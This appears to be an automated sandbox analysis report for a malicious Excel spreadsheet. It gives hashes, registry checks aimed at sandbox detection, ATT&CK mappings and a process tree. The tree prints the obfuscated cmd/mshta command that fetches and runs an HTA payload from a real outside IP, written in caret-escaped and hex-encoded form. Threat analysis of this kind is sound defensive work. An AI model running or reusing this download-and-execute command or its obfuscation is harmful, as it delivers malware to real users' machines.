bf8a7821de4c9b3118146a154b21922ef769f2717793e8ed87da33761e013676

Analysis

max time kernel
133s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20/11/2024, 09:03

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General

Target

bf8a7821de4c9b3118146a154b21922ef769f2717793e8ed87da33761e013676.xls
Size

128KB
MD5

741914ecb613891de62b62f1b4a99e26
SHA1

83945e53a409e722182867530ce9feb762b177c4
SHA256

bf8a7821de4c9b3118146a154b21922ef769f2717793e8ed87da33761e013676
SHA512

31a8716fa12286c4cf6690a62a0fa69bd9db9178ed8a057927aceb3c2b94a0070c37cdefd284e22a916a6545cf8b3c62c8b1365763a4930a4531fc92f41591c3
SSDEEP

3072:Wuk3hbdlylKsgqopeJBWhZFGkE+cL2NdAxEvN8B/W6X1yxYovrepMUdQ6gSz4i:Fk3hbdlylKsgqopeJBWhZFVE+W2NdAmv

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4612	1104	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	3844	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1104	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1104 wrote to memory of 4612	1104	EXCEL.EXE	85
PID 1104 wrote to memory of 4612	1104	EXCEL.EXE	85
PID 4612 wrote to memory of 3844	4612	cmd.exe	88
PID 4612 wrote to memory of 3844	4612	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bf8a7821de4c9b3118146a154b21922ef769f2717793e8ed87da33761e013676.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:3844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
d862c96eec2c4fcf5f7d5f9fea07c170

SHA1
ef5ef37aa17d84d0ebe239cf85ab0a821a1758e6

SHA256
e8599ce30e936270c8ad741777cc616e3b2f027e0b0982a7d26ce7cb82f33c09

SHA512
60b3a01cacc10f74c11c03af720729c4b9543a02cc355297517c19554327cfdeb14e9a749177cf695ac3e95d5614f73d3a798614b0e420495bcc5efbef58f166

Download Submit
memory/1104-0-0x00007FFF540B0000-0x00007FFF540C0000-memory.dmp

Filesize
64KB

Download
memory/1104-1-0x00007FFF540B0000-0x00007FFF540C0000-memory.dmp

Filesize
64KB

Download
memory/1104-2-0x00007FFF540B0000-0x00007FFF540C0000-memory.dmp

Filesize
64KB

Download
memory/1104-3-0x00007FFF93E40000-0x00007FFF93EDB000-memory.dmp

Filesize
620KB

Download
memory/1104-4-0x00007FFF540B0000-0x00007FFF540C0000-memory.dmp

Filesize
64KB

Download
memory/1104-5-0x00007FFF540B0000-0x00007FFF540C0000-memory.dmp

Filesize
64KB

Download
memory/1104-6-0x00007FFF52050000-0x00007FFF52060000-memory.dmp

Filesize
64KB

Download
memory/1104-7-0x00007FFF52050000-0x00007FFF52060000-memory.dmp

Filesize
64KB

Download
memory/1104-18-0x00007FFF93E40000-0x00007FFF93EDB000-memory.dmp

Filesize
620KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads